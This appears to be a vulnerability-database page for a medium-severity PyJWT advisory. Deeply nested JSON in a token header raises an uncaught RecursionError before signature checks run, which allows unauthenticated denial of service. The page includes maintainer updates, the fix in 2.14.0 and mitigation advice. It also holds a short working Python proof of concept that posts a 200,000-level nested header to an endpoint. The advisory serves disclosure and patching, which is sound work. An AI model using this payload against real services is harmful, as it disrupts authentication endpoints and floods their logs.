CVE-2026-102265 is a medium-severity (CVSS 5.3) CWE-674 vulnerability in pyjwt. A fix is available for pyjwt — see the affected versions and patch details below.
PyJWT: Uncaught RecursionError in jwt.decode() on deeply nested token header
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-102265.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-102265 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,415 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
pyjwtReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Package
pyjwt (PyPI)
Affected versions
tested & verified on: 2.13.0. Every version whose PyJWS._load() translates only ValueError is affected
Description
PyJWS._looad() (jwt/api_jws.py:337) splits the compact token, base64url decodes the header segment and hands it to json.loads() before _verify_signature() runs. The parse is wrapped in except ValueError as e: raise DecodeError(...). That is what makes the documented contract sufficient for untrusted input: except jwt.PyJWTError (or InvalidTokenError) around jwt.decode(token, key, algorithms=[...]).
CPython's JSON decoder raises RecursionError (a RuntimeError subclass, not a ValueError) once nesting crosses the native stack guard. That exception leaves _load(), then jwt.decode(), and matches no PyJWTError handlerr at all. No key and no valid signature are needed: the header is parsed first, so a single unauthenticated request with an unsigned token suffices.
Scope: the recursion threshold is ~65,000 nesting levels; below it the same input yields a clean DecodeError (a 346,800-byte flat header is rejected normally, so depth, not size, is the trigger). A token this large cannot ride in an Authorization header (rejected at HTTP field limits,431 under gunicorn), but body transport (RFC 7662 introspection style) is a standard pattern. Under Flask 3.1.3 / gunicorn 26.2.0 each crafted request returns HTTP 500 instead of 401 and writes a full traceback to the error log; the sync worker survives.
Proof of concept
Against any endpoint that validates a token from its JSON body with the documented pattern:
import base64, json, http.client
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
# unsigned token: the header segment is 200,000 nested '[' (266,681 bytes total)
token = (b64url(b"[" * 200_000) + b"." + b64url(b'{"a":1}') + b"." + b64url(b"x")).decode()
conn = http.client.HTTPConnection("127.0.0.1", 8125, timeout=30)
conn.request("POST", "/api/protected", body=json.dumps({"token": token}),
headers={"Content-Type": "application/json"})
print(conn.getresponse().status) # 500, expected 401
Determinism: 20/20 crafted requests returned 500 against the reference container (PyJWT 2.13.0, Flask 3.1.3, gunicorn 26.2.0, Python 3.14.7) in 0.12 s (about 6 ms per request in a tight loop, 14 ms for a cold request), each leaving a RecursionError: Stack overflow ... while decoding a JSON array traceback in the error log.
Impact
An unauthenticated attacker can turn every request to a JWT validating endpoint into a server error with a full traceback logged per request, a cheap and repeatable denial of service on the authentication path (no crash, no data exposure).
Fix
Catch RecursionError alongside ValueError in _load() and raise DecodeError, or parse the header with a nonrecursive, depthbounded parser.
Reproduction
A standalone package (docker-compose.yml, Dockerfile, requirements.txt, target app, driver) accompanies this report:
cd <package dir>
docker compose up -d --build
python3 poc_check_then_attack.py
docker compose down -v
Exit 0= reproduced (control checks green, exactly one crafted request returns 500, traceback verified in docker logs, service alive afterwards); 1 = not reproduced; 2 = checks failed, no attack sent. The package's run_log.txt documents a complete proof run.
Credits
- @Nivid42
Maintainer update — 2026-09-09
We reproduced the reported behavior on PyJWT 2.13.0: a deeply nested JSON array in the untrusted compact-JWS header reaches json.loads() before signature verification and raises RecursionError, which is not a PyJWTError. The same input is accepted by the public jwt.decode() path and can escape an application's normal except PyJWTError handling.
The fix is committed as 06573692ebcdec8831c3927513b3e87c31fbbb62. PyJWS._load() now translates both ValueError and RecursionError from header JSON parsing into DecodeError. A regression test covers the deeply nested-header path before signature verification. The full suite passes with 373 tests and 4 intentional cryptography-environment skips.
No release containing the fix has been published yet, so the patched version remains unset pending release planning. The advisory remains medium severity and unpublished.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyjwt | ≥ 2.13.0&&< 2.14.0 | 2.14.0pip install --upgrade 'pyjwt==2.14.0' |
Affected Products
pyjwtpyjwt_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyjwt, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyjwt to 2.14.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-102265 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat AI Inference Server 3.5 | rhaii/vllm-rocm-rhel9:1791425869 | RHSA-2026:82059 |
| Red Hat AI Inference Server 3.5 | rhaii/vllm-gaudi-rhel9:1791427182 | RHSA-2026:82061 |
Frequently Asked Questions
Is CVE-2026-102265 in your dependencies?
Find it across PyPI, including transitive dependencies.